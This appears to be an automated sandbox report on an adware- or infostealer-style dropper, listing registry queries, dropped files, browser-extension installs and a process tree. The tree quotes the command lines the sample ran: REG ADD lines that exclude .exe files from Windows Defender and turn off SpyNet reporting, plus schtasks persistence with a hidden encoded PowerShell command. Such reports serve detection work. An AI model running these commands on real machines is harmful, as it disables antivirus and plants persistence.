137bfe3048dfefee3d133c3659f8ae52c411454e7c84286d1a05538db5cda466

System Information Discovery

Processes:

Install.exerundll32.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	Install.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	rundll32.exe

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

System Information Discovery

Processes:

Install.exeKHDIUlV.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000\Control Panel\International\Geo\Nation	Install.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000\Control Panel\International\Geo\Nation	KHDIUlV.exe

Loads dropped DLL 1 IoCs

Processes:

rundll32.exe

pid process

3092 rundll32.exe
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

pid	process
3092	rundll32.exe

Drops Chrome extension 3 IoCs

Processes:

KHDIUlV.exe

description	ioc	process
File created	C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\gfcdbodapcbfckbfpmgeldfkkgjknceo\1.2.0_0\manifest.json	KHDIUlV.exe
File created	C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\meejmcfbiapijdfaadackoblffmidlig\1.0.0.0\manifest.json	KHDIUlV.exe
File created	C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\goiejopegncpjmocklmfiipofdbkhpic\1.0.0.0\manifest.json	KHDIUlV.exe

Drops desktop.ini file(s) 1 IoCs

Processes:

KHDIUlV.exe

description ioc process

File opened for modification C:\$RECYCLE.BIN\S-1-5-18\desktop.ini KHDIUlV.exe

description	ioc	process
File opened for modification	C:\$RECYCLE.BIN\S-1-5-18\desktop.ini	KHDIUlV.exe

Drops file in System32 directory 31 IoCs

Processes:

powershell.exesxFerYM.exeKHDIUlV.exeInstall.exepowershell.exe

description	ioc	process
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\GroupPolicy\gpt.ini	sxFerYM.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content	KHDIUlV.exe
File created	C:\Windows\system32\GroupPolicy\gpt.ini	Install.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\Content.IE5	KHDIUlV.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache	KHDIUlV.exe
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log	powershell.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\History\History.IE5	KHDIUlV.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\103621DE9CD5414CC2538780B4B75751	KHDIUlV.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\48F3BB146086CEF37D471FBE460215C9	KHDIUlV.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B398B80134F72209547439DB21AB308D_A4CF52CCA82D7458083F7280801A3A04	KHDIUlV.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\CAF4703619713E3F18D8A9D5D88D6288_A7725538C46DE2D0088EE44974E2CEBA	KHDIUlV.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\F07644E38ED7C9F37D11EEC6D4335E02_58589533BD741CABD9C6A1C2A7AAD4A1	KHDIUlV.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\CAF4703619713E3F18D8A9D5D88D6288_A7725538C46DE2D0088EE44974E2CEBA	KHDIUlV.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\F07644E38ED7C9F37D11EEC6D4335E02_58589533BD741CABD9C6A1C2A7AAD4A1	KHDIUlV.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\A16C6C16D94F76E0808C087DFC657D99_57084D1D86D9F07AD164FDFDC2CB1CB3	KHDIUlV.exe
File created	C:\Windows\system32\GroupPolicy\Machine\Registry.pol	sxFerYM.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCookies	KHDIUlV.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\24BD96D5497F70B3F510A6B53CD43F3E_3A89246FB90C5EE6620004F1AE0EB0EA	KHDIUlV.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\F2DDCD2B5F37625B82E81F4976CEE400_D29849B2B3CC9118078AA61A670027D9	KHDIUlV.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\A16C6C16D94F76E0808C087DFC657D99_57084D1D86D9F07AD164FDFDC2CB1CB3	KHDIUlV.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\F2DDCD2B5F37625B82E81F4976CEE400_D29849B2B3CC9118078AA61A670027D9	KHDIUlV.exe
File opened for modification	C:\Windows\system32\GroupPolicy\Machine\Registry.pol	KHDIUlV.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft	KHDIUlV.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData	KHDIUlV.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\IE	KHDIUlV.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\103621DE9CD5414CC2538780B4B75751	KHDIUlV.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\48F3BB146086CEF37D471FBE460215C9	KHDIUlV.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\B398B80134F72209547439DB21AB308D_A4CF52CCA82D7458083F7280801A3A04	KHDIUlV.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\24BD96D5497F70B3F510A6B53CD43F3E_3A89246FB90C5EE6620004F1AE0EB0EA	KHDIUlV.exe

Drops file in Program Files directory 14 IoCs

Processes:

KHDIUlV.exe

description	ioc	process
File created	C:\Program Files (x86)\VXhYlHHfTIOjvDnxzUR\ltvmJEl.xml	KHDIUlV.exe
File opened for modification	C:\Program Files\Mozilla Firefox\browser\features\{469DEDC5-791B-41B7-99CA-EB25B08298D1}.xpi	KHDIUlV.exe
File created	C:\Program Files\Mozilla Firefox\browser\omni.ja.bak	KHDIUlV.exe
File created	C:\Program Files (x86)\YnFPtusxCOTU2\oBwKFKsOdHJqE.dll	KHDIUlV.exe
File created	C:\Program Files (x86)\VXhYlHHfTIOjvDnxzUR\vDMrezG.dll	KHDIUlV.exe
File created	C:\Program Files (x86)\LCSurMlfClMRC\MDmnopk.xml	KHDIUlV.exe
File opened for modification	C:\Program Files\Mozilla Firefox\browser\omni.ja.bak	KHDIUlV.exe
File created	C:\Program Files (x86)\CXdyuXxQU\XGWtrUn.xml	KHDIUlV.exe
File opened for modification	C:\Program Files\Mozilla Firefox\browser\omni.ja	KHDIUlV.exe
File created	C:\Program Files (x86)\YnFPtusxCOTU2\ZseDGBN.xml	KHDIUlV.exe
File created	C:\Program Files (x86)\CXdyuXxQU\BKKOHq.dll	KHDIUlV.exe
File created	C:\Program Files\Mozilla Firefox\browser\features\{469DEDC5-791B-41B7-99CA-EB25B08298D1}.xpi	KHDIUlV.exe
File created	C:\Program Files (x86)\LCSurMlfClMRC\doDnyHe.dll	KHDIUlV.exe
File created	C:\Program Files (x86)\bOFQhydRtxUn\DFFEfnw.dll	KHDIUlV.exe

Drops file in Windows directory 4 IoCs

Processes:

schtasks.exeschtasks.exeschtasks.exeschtasks.exe

description	ioc	process
File created	C:\Windows\Tasks\GrrjjXtPjBVPFNmZQ.job	schtasks.exe
File created	C:\Windows\Tasks\ErhcMqZyPKQzNnH.job	schtasks.exe
File created	C:\Windows\Tasks\NSdDFfEujjmGqHjBl.job	schtasks.exe
File created	C:\Windows\Tasks\beNJzxXkYGhzSCmkZn.job	schtasks.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Creates scheduled task(s) 1 TTPs 11 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task

Processes:

schtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exe

pid	process
3524	schtasks.exe
2384	schtasks.exe
4964	schtasks.exe
372	schtasks.exe
5108	schtasks.exe
2320	schtasks.exe
4420	schtasks.exe
4092	schtasks.exe
1664	schtasks.exe
2344	schtasks.exe
3952	schtasks.exe

Enumerates system info in registry 2 TTPs 4 IoCs

Query Registry

System Information Discovery

Processes:

rundll32.exeInstall.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	rundll32.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	Install.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	Install.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	rundll32.exe

Modifies data under HKEY_USERS 64 IoCs

Processes:

KHDIUlV.exepowershell.exepowershell.exerundll32.exe

description	ioc	process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\BitBucket\Volume\{5d2b4a7c-0000-0000-0000-d01200000000}	KHDIUlV.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\BitBucket\Volume\{5d2b4a7c-0000-0000-0000-d01200000000}\NukeOnDelete = "0"	KHDIUlV.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	KHDIUlV.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content\CachePrefix	rundll32.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer	KHDIUlV.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	KHDIUlV.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	rundll32.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	rundll32.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\BitBucket\Volume	KHDIUlV.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History\CachePrefix = "Visited:"	rundll32.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\BitBucket	KHDIUlV.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies\CachePrefix = "Cookie:"	rundll32.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	KHDIUlV.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies\CachePrefix = "Cookie:"	KHDIUlV.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	KHDIUlV.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	rundll32.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	KHDIUlV.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	KHDIUlV.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History\CachePrefix = "Visited:"	KHDIUlV.exe

Suspicious behavior: EnumeratesProcesses 40 IoCs

Processes:

powershell.EXEpowershell.exepowershell.exepowershell.EXEKHDIUlV.exe

pid	process
440	powershell.EXE
440	powershell.EXE
4808	powershell.exe
4808	powershell.exe
4476	powershell.exe
4476	powershell.exe
1084	powershell.EXE
1084	powershell.EXE
1532	KHDIUlV.exe
1532	KHDIUlV.exe
1532	KHDIUlV.exe
1532	KHDIUlV.exe
1532	KHDIUlV.exe
1532	KHDIUlV.exe
1532	KHDIUlV.exe
1532	KHDIUlV.exe
1532	KHDIUlV.exe
1532	KHDIUlV.exe
1532	KHDIUlV.exe
1532	KHDIUlV.exe
1532	KHDIUlV.exe
1532	KHDIUlV.exe
1532	KHDIUlV.exe
1532	KHDIUlV.exe
1532	KHDIUlV.exe
1532	KHDIUlV.exe
1532	KHDIUlV.exe
1532	KHDIUlV.exe
1532	KHDIUlV.exe
1532	KHDIUlV.exe
1532	KHDIUlV.exe
1532	KHDIUlV.exe
1532	KHDIUlV.exe
1532	KHDIUlV.exe
1532	KHDIUlV.exe
1532	KHDIUlV.exe
1532	KHDIUlV.exe
1532	KHDIUlV.exe
1532	KHDIUlV.exe
1532	KHDIUlV.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

Processes:

powershell.EXEpowershell.exepowershell.exepowershell.EXE

description	pid	process
Token: SeDebugPrivilege	440	powershell.EXE
Token: SeDebugPrivilege	4808	powershell.exe
Token: SeDebugPrivilege	4476	powershell.exe
Token: SeDebugPrivilege	1084	powershell.EXE

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

file.exeInstall.exeInstall.exeforfiles.exeforfiles.execmd.execmd.exepowershell.EXEsxFerYM.exepowershell.execmd.exe

description	pid	process	target process
PID 3036 wrote to memory of 4204	3036	file.exe	Install.exe
PID 3036 wrote to memory of 4204	3036	file.exe	Install.exe
PID 3036 wrote to memory of 4204	3036	file.exe	Install.exe
PID 4204 wrote to memory of 5016	4204	Install.exe	Install.exe
PID 4204 wrote to memory of 5016	4204	Install.exe	Install.exe
PID 4204 wrote to memory of 5016	4204	Install.exe	Install.exe
PID 5016 wrote to memory of 2800	5016	Install.exe	forfiles.exe
PID 5016 wrote to memory of 2800	5016	Install.exe	forfiles.exe
PID 5016 wrote to memory of 2800	5016	Install.exe	forfiles.exe
PID 5016 wrote to memory of 1648	5016	Install.exe	forfiles.exe
PID 5016 wrote to memory of 1648	5016	Install.exe	forfiles.exe
PID 5016 wrote to memory of 1648	5016	Install.exe	forfiles.exe
PID 2800 wrote to memory of 2336	2800	forfiles.exe	cmd.exe
PID 2800 wrote to memory of 2336	2800	forfiles.exe	cmd.exe
PID 2800 wrote to memory of 2336	2800	forfiles.exe	cmd.exe
PID 1648 wrote to memory of 4660	1648	forfiles.exe	cmd.exe
PID 1648 wrote to memory of 4660	1648	forfiles.exe	cmd.exe
PID 1648 wrote to memory of 4660	1648	forfiles.exe	cmd.exe
PID 2336 wrote to memory of 4488	2336	cmd.exe	reg.exe
PID 2336 wrote to memory of 4488	2336	cmd.exe	reg.exe
PID 2336 wrote to memory of 4488	2336	cmd.exe	reg.exe
PID 2336 wrote to memory of 4052	2336	cmd.exe	reg.exe
PID 2336 wrote to memory of 4052	2336	cmd.exe	reg.exe
PID 2336 wrote to memory of 4052	2336	cmd.exe	reg.exe
PID 4660 wrote to memory of 204	4660	cmd.exe	reg.exe
PID 4660 wrote to memory of 204	4660	cmd.exe	reg.exe
PID 4660 wrote to memory of 204	4660	cmd.exe	reg.exe
PID 4660 wrote to memory of 224	4660	cmd.exe	reg.exe
PID 4660 wrote to memory of 224	4660	cmd.exe	reg.exe
PID 4660 wrote to memory of 224	4660	cmd.exe	reg.exe
PID 5016 wrote to memory of 4964	5016	Install.exe	schtasks.exe
PID 5016 wrote to memory of 4964	5016	Install.exe	schtasks.exe
PID 5016 wrote to memory of 4964	5016	Install.exe	schtasks.exe
PID 5016 wrote to memory of 3996	5016	Install.exe	schtasks.exe
PID 5016 wrote to memory of 3996	5016	Install.exe	schtasks.exe
PID 5016 wrote to memory of 3996	5016	Install.exe	schtasks.exe
PID 440 wrote to memory of 3480	440	powershell.EXE	gpupdate.exe
PID 440 wrote to memory of 3480	440	powershell.EXE	gpupdate.exe
PID 5016 wrote to memory of 1412	5016	Install.exe	schtasks.exe
PID 5016 wrote to memory of 1412	5016	Install.exe	schtasks.exe
PID 5016 wrote to memory of 1412	5016	Install.exe	schtasks.exe
PID 5016 wrote to memory of 372	5016	Install.exe	schtasks.exe
PID 5016 wrote to memory of 372	5016	Install.exe	schtasks.exe
PID 5016 wrote to memory of 372	5016	Install.exe	schtasks.exe
PID 1276 wrote to memory of 4808	1276	sxFerYM.exe	powershell.exe
PID 1276 wrote to memory of 4808	1276	sxFerYM.exe	powershell.exe
PID 1276 wrote to memory of 4808	1276	sxFerYM.exe	powershell.exe
PID 4808 wrote to memory of 3956	4808	powershell.exe	cmd.exe
PID 4808 wrote to memory of 3956	4808	powershell.exe	cmd.exe
PID 4808 wrote to memory of 3956	4808	powershell.exe	cmd.exe
PID 3956 wrote to memory of 1192	3956	cmd.exe	reg.exe
PID 3956 wrote to memory of 1192	3956	cmd.exe	reg.exe
PID 3956 wrote to memory of 1192	3956	cmd.exe	reg.exe
PID 4808 wrote to memory of 3156	4808	powershell.exe	reg.exe
PID 4808 wrote to memory of 3156	4808	powershell.exe	reg.exe
PID 4808 wrote to memory of 3156	4808	powershell.exe	reg.exe
PID 4808 wrote to memory of 1112	4808	powershell.exe	reg.exe
PID 4808 wrote to memory of 1112	4808	powershell.exe	reg.exe
PID 4808 wrote to memory of 1112	4808	powershell.exe	reg.exe
PID 4808 wrote to memory of 2836	4808	powershell.exe	reg.exe
PID 4808 wrote to memory of 2836	4808	powershell.exe	reg.exe
PID 4808 wrote to memory of 2836	4808	powershell.exe	reg.exe
PID 4808 wrote to memory of 4388	4808	powershell.exe	reg.exe
PID 4808 wrote to memory of 4388	4808	powershell.exe	reg.exe

C:\Users\Admin\AppData\Local\Temp\file.exe
"C:\Users\Admin\AppData\Local\Temp\file.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:3036

C:\Users\Admin\AppData\Local\Temp\7zS88CC.tmp\Install.exe
.\Install.exe
2⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:4204

C:\Users\Admin\AppData\Local\Temp\7zS9494.tmp\Install.exe
.\Install.exe /S /site_id "525403"
3⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks computer location settings
- Drops file in System32 directory
- Enumerates system info in registry
- Suspicious use of WriteProcessMemory
PID:5016

C:\Windows\SysWOW64\forfiles.exe
"C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:32&REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:64&"
4⤵
- Suspicious use of WriteProcessMemory
PID:2800

C:\Windows\SysWOW64\cmd.exe
/C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32&REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64&
5⤵
- Suspicious use of WriteProcessMemory
PID:2336

\??\c:\windows\SysWOW64\reg.exe
REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32
6⤵
PID:4488

\??\c:\windows\SysWOW64\reg.exe
REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64
6⤵
PID:4052

C:\Windows\SysWOW64\forfiles.exe
"C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:32&REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:64&"
4⤵
- Suspicious use of WriteProcessMemory
PID:1648

C:\Windows\SysWOW64\cmd.exe
/C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32&REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:64&
5⤵
- Suspicious use of WriteProcessMemory
PID:4660

\??\c:\windows\SysWOW64\reg.exe
REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32
6⤵
PID:204

\??\c:\windows\SysWOW64\reg.exe
REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:64
6⤵
PID:224

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "gHxYtfJrA" /SC once /ST 03:45:06 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
4⤵
- Creates scheduled task(s)
PID:4964

C:\Windows\SysWOW64\schtasks.exe
schtasks /run /I /tn "gHxYtfJrA"
4⤵
PID:3996

C:\Windows\SysWOW64\schtasks.exe
schtasks /DELETE /F /TN "gHxYtfJrA"
4⤵
PID:1412

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "beNJzxXkYGhzSCmkZn" /SC once /ST 14:13:00 /RU "SYSTEM" /TR "\"C:\Users\Admin\AppData\Local\Temp\ShihPiYTNRQZVEffH\MMqPNYIplLDGwAY\sxFerYM.exe\" Qf /site_id 525403 /S" /V1 /F
4⤵
- Drops file in Windows directory
- Creates scheduled task(s)
PID:372

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
